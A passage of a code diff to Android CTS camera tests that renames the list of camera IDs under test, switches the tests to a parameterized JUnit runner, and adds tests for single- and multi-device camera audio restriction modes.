     public void testCreateSessionWithParameters() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
-                testCreateSessionWithParametersByCamera(mCameraIds[i], /*reprocessable*/false);
-                testCreateSessionWithParametersByCamera(mCameraIds[i], /*reprocessable*/true);
+                testCreateSessionWithParametersByCamera(mCameraIdsUnderTest[i], /*reprocessable*/false);
+                testCreateSessionWithParametersByCamera(mCameraIdsUnderTest[i], /*reprocessable*/true);
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -1596,9 +1617,9 @@
      */
     private void runCaptureTest(boolean burst, boolean repeating, boolean abort,
             boolean useExecutor) throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
                 prepareCapture();
@@ -1617,13 +1638,13 @@
                             continue;
                         }
 
-                        captureSingleShot(mCameraIds[i], sTemplates[j], repeating, abort,
+                        captureSingleShot(mCameraIdsUnderTest[i], sTemplates[j], repeating, abort,
                                 useExecutor);
                     }
                 }
                 else {
                     // Test: burst of one shot
-                    captureBurstShot(mCameraIds[i], sTemplates, 1, repeating, abort, useExecutor);
+                    captureBurstShot(mCameraIdsUnderTest[i], sTemplates, 1, repeating, abort, useExecutor);
 
                     int template = mStaticInfo.isColorOutputSupported() ?
                         CameraDevice.TEMPLATE_STILL_CAPTURE :
@@ -1637,12 +1658,12 @@
                     };
 
                     // Test: burst of 5 shots of the same template type
-                    captureBurstShot(mCameraIds[i], templates, templates.length, repeating, abort,
+                    captureBurstShot(mCameraIdsUnderTest[i], templates, templates.length, repeating, abort,
                             useExecutor);
 
                     if (mStaticInfo.isColorOutputSupported()) {
                         // Test: burst of 6 shots of different template types
-                        captureBurstShot(mCameraIds[i], sTemplates, sTemplates.length, repeating,
+                        captureBurstShot(mCameraIdsUnderTest[i], sTemplates, sTemplates.length, repeating,
                                 abort, useExecutor);
                     }
                 }
@@ -1658,7 +1679,7 @@
                 } catch (Exception e) {
                     mCollector.addError(e);
                 }finally {
-                    closeDevice(mCameraIds[i], mCameraMockListener);
+                    closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 }
             }
         }
@@ -2698,4 +2719,178 @@
             }
         }
     }
+
+    /**
+     * Verify audio restrictions are set properly for single CameraDevice usage
+     */
+    @Test
+    public void testAudioRestrictionSingleDevice() throws Exception {
+        int[] testModes = {
+            CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND,
+            CameraDevice.AUDIO_RESTRICTION_NONE,
+            CameraDevice.AUDIO_RESTRICTION_VIBRATION,
+        };
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            try {
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
+                waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+                for (int mode : testModes) {
+                    mCamera.setCameraAudioRestriction(mode);
+                    int retMode = mCamera.getCameraAudioRestriction();
+                    assertTrue("Audio restriction mode mismatch: input: " + mode +
+                            ", output:" + retMode, mode == retMode);
+                }
+
+                try {
+                    // Test invalid mode
+                    mCamera.setCameraAudioRestriction(42);
+                    fail("Should get IllegalArgumentException for invalid mode");
+                } catch (IllegalArgumentException e) {
+                    // expected
+                }
+            }
+            finally {
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
+            }
+        }
+    }
+
+    private void testTwoCameraDevicesAudioRestriction(String id0, String id1) throws Exception {
+        BlockingStateCallback cam0Cb = new BlockingStateCallback();
+        BlockingStateCallback cam1Cb = new BlockingStateCallback();
+        CameraDevice cam0 = null;
+        CameraDevice cam1 = null;
+        try {
+            cam0 = CameraTestUtils.openCamera(mCameraManager, id0, cam0Cb, mHandler);
+            cam0Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+            int mode0 = CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND;
+            cam0.setCameraAudioRestriction(mode0);
+            int retMode = cam0.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: input: " + mode0 + ", output:" + retMode,
+                    retMode == mode0);
+
+            cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+            cam1Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+
+            // See if cam0 is evicted.
+            boolean cam0Evicted = true;
+            try {
+                final int cameraEvictedTimeoutMs = 1000;
+                cam0Cb.waitForState(STATE_DISCONNECTED, cameraEvictedTimeoutMs);
+            } catch (TimeoutRuntimeException e) {
+                // camera 0 is not evicted
+                cam0Evicted = false;
+            }
+
+            if (cam0Evicted) {
+                Log.i(TAG, "Camera " + id0 + " is evicted. Testing camera " + id1 + " alone.");
+                // cam0 is evicted
+                try {
+                    cam0.setCameraAudioRestriction(mode0);
+                    fail("Should get CameraAccessException for disconnected camera.");
+                } catch (CameraAccessException e) {
+                    // expected
+                }
+                // Test the behavior for single remaining client
+                int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+                cam1.setCameraAudioRestriction(mode1);
+                retMode = cam1.getCameraAudioRestriction();
+                assertTrue("Audio restriction mode mismatch: input: " + mode1 +
+                        ", output:" + retMode, retMode == mode1);
+                return;
+            }
+
+            // The output mode should be union of all CameraDevices
+            int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+            int expectMode = mode0 | mode1;
+            cam1.setCameraAudioRestriction(mode1);
+            retMode = cam1.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            // test turning off mute settings also
+            mode0 = CameraDevice.AUDIO_RESTRICTION_NONE;
+            expectMode = mode0 | mode1;
+            cam0.setCameraAudioRestriction(mode0);
+            retMode = cam0.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            // mode should be NONE when both device set to NONE
+            mode1 = CameraDevice.AUDIO_RESTRICTION_NONE;
+            expectMode = mode0 | mode1;
+            cam1.setCameraAudioRestriction(mode1);
+            retMode = cam1.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            // test removal of VIBRATE won't affect existing VIBRATE_SOUND state
+            mode0 = CameraDevice.AUDIO_RESTRICTION_VIBRATION_SOUND;
+            expectMode = mode0 | mode1;
+            cam0.setCameraAudioRestriction(mode0);
+            retMode = cam0.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
+            expectMode = mode0 | mode1;
+            cam1.setCameraAudioRestriction(mode1);
+            retMode = cam1.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            mode1 = CameraDevice.AUDIO_RESTRICTION_NONE;
+            expectMode = mode0 | mode1;
+            cam1.setCameraAudioRestriction(mode1);
+            retMode = cam1.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+
+            // Now test CameraDevice.close will remove setting and exception is thrown for closed
+            // camera.
+            cam0.close();
+            cam0Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+            try {
+                cam0.setCameraAudioRestriction(mode0);
+                fail("Should get IllegalStateException for closed camera.");
+            } catch (IllegalStateException e) {
+                // expected;
+            }
+
+            cam0 = null;
+            cam0Cb = null;
+            expectMode = mode1;
+            cam1.setCameraAudioRestriction(mode1);
+            retMode = cam1.getCameraAudioRestriction();
+            assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+                    ", output:" + retMode, retMode == expectMode);
+        } finally {
+            if (cam0 != null) {
+                cam0.close();
+                cam0Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+                cam0Cb = null;
+            }
+            if (cam1 != null) {
+                cam1.close();
+                cam1Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+                cam1Cb = null;
+            }
+        }
+    }
+
+    @Test
+    public void testAudioRestrictionMultipleDevices() throws Exception {
+        if (mCameraIdsUnderTest.length < 2) {
+            Log.i(TAG, "device doesn't have multiple cameras, skipping");
+            return;
+        }
+
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            for (int j = i+1; j < mCameraIdsUnderTest.length; j++) {
+                testTwoCameraDevicesAudioRestriction(mCameraIdsUnderTest[i], mCameraIdsUnderTest[j]);
+            }
+        }
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 4457f95..922dc3c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -19,6 +19,7 @@
 import static org.mockito.Mockito.*;
 import static org.mockito.AdditionalMatchers.not;
 import static org.mockito.AdditionalMatchers.and;
+import static junit.framework.Assert.*;
 
 import android.app.ActivityManager;
 import android.app.Instrumentation;
@@ -31,6 +32,7 @@
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraDevice.StateCallback;
 import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
 import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
 import android.hardware.camera2.cts.CameraTestUtils.MockStateCallback;
 import android.hardware.camera2.cts.helpers.CameraErrorCollector;
@@ -45,6 +47,9 @@
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 import org.mockito.ArgumentCaptor;
 import org.mockito.InOrder;
 
@@ -61,13 +66,14 @@
 /**
  * <p>Basic test for CameraManager class.</p>
  */
-public class CameraManagerTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class CameraManagerTest extends Camera2ParameterizedTestCase {
     private static final String TAG = "CameraManagerTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final int NUM_CAMERA_REOPENS = 10;
 
     private PackageManager mPackageManager;
-    private CameraManager mCameraManager;
     private NoopCameraListener mListener;
     private HandlerThread mHandlerThread;
     private Handler mHandler;
@@ -75,18 +81,11 @@
     private CameraErrorCollector mCollector;
 
     @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-        mCameraManager = (CameraManager)context.getSystemService(Context.CAMERA_SERVICE);
-        assertNotNull("Can't connect to camera manager", mCameraManager);
-        mPackageManager = context.getPackageManager();
+    public void setUp() throws Exception {
+        super.setUp();
+        mPackageManager = mContext.getPackageManager();
         assertNotNull("Can't get package manager", mPackageManager);
         mListener = new NoopCameraListener();
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
 
         /**
          * Workaround for mockito and JB-MR2 incompatibility
@@ -94,7 +93,7 @@
          * Avoid java.lang.IllegalArgumentException: dexcache == null
          * https://code.google.com/p/dexmaker/issues/detail?id=2
          */
-        System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+        System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
 
         mCameraListener = spy(new BlockingStateCallback());
 
@@ -105,7 +104,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         mHandlerThread.quitSafely();
         mHandler = null;
 
@@ -137,10 +136,10 @@
         return -1; // unreachable
     }
 
+    @Test
     public void testCameraManagerGetDeviceIdList() throws Exception {
 
-        // Test: that the getCameraIdList method runs without exceptions.
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         if (VERBOSE) Log.v(TAG, "CameraManager ids: " + Arrays.toString(ids));
 
         /**
@@ -197,8 +196,9 @@
     }
 
     // Test: that properties can be queried from each device, without exceptions.
+    @Test
     public void testCameraManagerGetCameraCharacteristics() throws Exception {
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         for (int i = 0; i < ids.length; i++) {
             CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
             assertNotNull(
@@ -207,8 +207,9 @@
     }
 
     // Test: that an exception is thrown if an invalid device id is passed down.
+    @Test
     public void testCameraManagerInvalidDevice() throws Exception {
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         // Create an invalid id by concatenating all the valid ids together.
         StringBuilder invalidId = new StringBuilder();
         invalidId.append("INVALID");
@@ -226,6 +227,7 @@
     }
 
     // Test: that each camera device can be opened one at a time, several times.
+    @Test
     public void testCameraManagerOpenCamerasSerially() throws Exception {
         testCameraManagerOpenCamerasSerially(/*useExecutor*/ false);
         testCameraManagerOpenCamerasSerially(/*useExecutor*/ true);
@@ -233,7 +235,7 @@
 
     private void testCameraManagerOpenCamerasSerially(boolean useExecutor) throws Exception {
         final Executor executor = useExecutor ? new HandlerExecutor(mHandler) : null;
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         for (int i = 0; i < ids.length; i++) {
             for (int j = 0; j < NUM_CAMERA_REOPENS; j++) {
                 CameraDevice camera = null;
@@ -268,13 +270,14 @@
      * Test: one or more camera devices can be open at the same time, or the right error state
      * is set if this can't be done.
      */
+    @Test
     public void testCameraManagerOpenAllCameras() throws Exception {
         testCameraManagerOpenAllCameras(/*useExecutor*/ false);
         testCameraManagerOpenAllCameras(/*useExecutor*/ true);
     }
 
     private void testCameraManagerOpenAllCameras(boolean useExecutor) throws Exception {
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         assertNotNull("Camera ids shouldn't be null", ids);
 
         // Skip test if the device doesn't have multiple cameras.
@@ -451,13 +454,14 @@
      * Test: that opening the same device multiple times and make sure the right
      * error state is set.
      */
+    @Test
     public void testCameraManagerOpenCameraTwice() throws Exception {
         testCameraManagerOpenCameraTwice(/*useExecutor*/ false);
         testCameraManagerOpenCameraTwice(/*useExecutor*/ true);
     }
 
     private void testCameraManagerOpenCameraTwice(boolean useExecutor) throws Exception {
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         final Executor executor = useExecutor ? new HandlerExecutor(mHandler) : null;
 
         // Test across every camera device.
@@ -523,6 +527,7 @@
      * Registering a listener multiple times should have no effect, and unregistering
      * a listener that isn't registered should have no effect.
      */
+    @Test
     public void testCameraManagerListener() throws Exception {
         mCameraManager.unregisterAvailabilityCallback(mListener);
         // Test Handler API
@@ -541,6 +546,7 @@
     /**
      * Test that the availability callbacks fire when expected
      */
+    @Test
     public void testCameraManagerListenerCallbacks() throws Exception {
         testCameraManagerListenerCallbacks(/*useExecutor*/ false);
         testCameraManagerListenerCallbacks(/*useExecutor*/ true);
@@ -556,6 +562,17 @@
         CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
             @Override
             public void onCameraAvailable(String cameraId) {
+                try {
+                    // When we're testing system cameras, we don't list non system cameras in the
+                    // camera id list as mentioned in Camera2ParameterizedTest.java
+                    if (mAdoptShellPerm &&
+                            !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
+                        return;
+                    }
+                } catch (CameraAccessException e) {
+                    fail("CameraAccessException thrown when attempting to access camera" +
+                         "characteristics" + cameraId);
+                }
                 availableEventQueue.offer(cameraId);
             }
 
@@ -570,7 +587,7 @@
         } else {
             mCameraManager.registerAvailabilityCallback(ac, mHandler);
         }
-        String[] cameras = mCameraManager.getCameraIdList();
+        String[] cameras = mCameraIdsUnderTest;
 
         if (cameras.length == 0) {
             Log.i(TAG, "No cameras present, skipping test");
@@ -683,12 +700,13 @@
     } // testCameraManagerListenerCallbacks
 
     // Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
+    @Test
     public void testNoLegacyOnQ() throws Exception {
         if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
             // LEGACY still allowed for devices upgrading to Q
             return;
         }
-        String[] ids = mCameraManager.getCameraIdList();
+        String[] ids = mCameraIdsUnderTest;
         for (int i = 0; i < ids.length; i++) {
             CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
             assertNotNull(
@@ -703,14 +721,15 @@
         }
     }
 
+    @Test
     public void testCameraManagerWithDnD() throws Exception {
-        String[] cameras = mCameraManager.getCameraIdList();
+        String[] cameras = mCameraIdsUnderTest;
         if (cameras.length == 0) {
             Log.i(TAG, "No cameras present, skipping test");
             return;
         }
 
-        ActivityManager am = getContext().getSystemService(ActivityManager.class);
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
 
         // Go devices do not support all interrupt filtering functionality
         if (am.isLowRamDevice()) {
@@ -718,12 +737,12 @@
         }
 
         // Allow the test package to adjust notification policy
-        toggleNotificationPolicyAccess(getContext().getPackageName(),
+        toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), true);
 
         // Enable DnD filtering
 
-        NotificationManager nm = getContext().getSystemService(NotificationManager.class);
+        NotificationManager nm = mContext.getSystemService(NotificationManager.class);
         try {
             nm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
 
@@ -755,7 +774,7 @@
 
         runCommand(command, instrumentation);
 
-        NotificationManager nm = getContext().getSystemService(NotificationManager.class);
+        NotificationManager nm = mContext.getSystemService(NotificationManager.class);
         assertEquals("Notification Policy Access Grant is " +
                 nm.isNotificationPolicyAccessGranted() + " not " + on, on,
                 nm.isNotificationPolicyAccessGranted());
@@ -764,17 +783,14 @@
     private void runCommand(String command, Instrumentation instrumentation) throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
-        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            assertNotNull("Failed to execute shell command: " + command, fd);
-            // Wait for the command to finish by reading until EOF
-            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
-                byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
-            } catch (IOException e) {
-                throw new IOException("Could not read stdout of command: " + command, e);
-            }
-        } finally {
-            uiAutomation.destroy();
+        ParcelFileDescriptor fd = mUiAutomation.executeShellCommand(command);
+        assertNotNull("Failed to execute shell command: " + command, fd);
+        // Wait for the command to finish by reading until EOF
+        try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+            byte[] buffer = new byte[4096];
+            while (in.read(buffer) > 0) {}
+        } catch (IOException e) {
+            throw new IOException("Could not read stdout of command: " + command, e);
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 53decc1..35c7da6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -33,6 +33,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 import android.hardware.camera2.params.BlackLevelPattern;
+import android.hardware.camera2.params.CapabilityAndMaxSize;
 import android.hardware.camera2.params.ColorSpaceTransform;
 import android.hardware.camera2.params.Face;
 import android.hardware.camera2.params.LensShadingMap;
@@ -53,6 +54,8 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /**
@@ -64,6 +67,8 @@
  * manual ISP control and other per-frame control and synchronization.
  * </p>
  */
+
+@RunWith(Parameterized.class)
 public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "CaptureRequestTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -148,9 +153,9 @@
         SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
         Surface surface = new Surface(outputTexture);
 
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 CaptureRequest.Builder requestBuilder =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
                 requestBuilder.addTarget(surface);
@@ -237,14 +242,14 @@
      */
     @Test
     public void testBlackLevelLock() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 CaptureRequest.Builder requestBuilder =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -291,7 +296,7 @@
      */
     @Test
     public void testDynamicBlackWhiteLevel() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isDynamicBlackLevelSupported()) {
                     continue;
@@ -319,11 +324,11 @@
      */
     @Test
     public void testLensShadingMap() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (!staticInfo.isManualLensShadingMapSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " doesn't support lens shading controls, skipping test");
                     continue;
                 }
@@ -335,7 +340,7 @@
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 CaptureRequest.Builder requestBuilder =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -397,15 +402,15 @@
      */
     @Test
     public void testAntiBandingModes() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
                 // Without manual sensor control, exposure time cannot be verified
-                if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 int[] modes = mStaticInfo.getAeAvailableAntiBandingModesChecked();
 
                 Size previewSz =
@@ -433,15 +438,15 @@
      */
     @Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
     public void testAeModeAndLock() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 Size maxPreviewSz = mOrderedPreviewSizes.get(0); // Max preview size.
 
                 // Update preview surface with given size for all sub-tests.
@@ -466,15 +471,15 @@
      */
     @Test
     public void testFlashControl() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
 
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 CaptureRequest.Builder requestBuilder =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -510,19 +515,19 @@
      */
     @Test
     public void testFlashTurnOff() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).hasFlash()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support flash, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 CaptureRequest.Builder requestBuilder =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -530,7 +535,7 @@
                 Size maxPreviewSz = mOrderedPreviewSizes.get(0); // Max preview size.
 
                 startPreview(requestBuilder, maxPreviewSz, listener);
-                boolean isLegacy = CameraUtils.isLegacyHAL(mCameraManager, mCameraIds[i]);
+                boolean isLegacy = CameraUtils.isLegacyHAL(mCameraManager, mCameraIdsUnderTest[i]);
                 flashTurnOffTest(listener, isLegacy,
                         /* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
                         /* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
@@ -556,14 +561,14 @@
      */
     @Test
     public void testFaceDetection() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
                 faceDetectionTestByCamera();
             } finally {
                 closeDevice();
@@ -576,7 +581,7 @@
      */
     @Test
     public void testToneMapControl() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isManualToneMapSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -596,7 +601,7 @@
      */
     @Test
     public void testColorCorrectionControl() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isColorCorrectionSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -616,7 +621,7 @@
      */
     @Test
     public void testEdgeModeControl() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isEdgeModeControlSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -638,7 +643,7 @@
      */
     @Test
     public void testEdgeModeControlFastFps() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 if (!mAllStaticInfo.get(id).isEdgeModeControlSupported()) {
                     Log.i(TAG, "Camera " + id +
@@ -661,7 +666,7 @@
      */
     @Test
     public void testFocusDistanceControl() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
                 if (!staticInfo.hasFocuser()) {
@@ -689,7 +694,7 @@
      */
     @Test
     public void testNoiseReductionModeControl() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
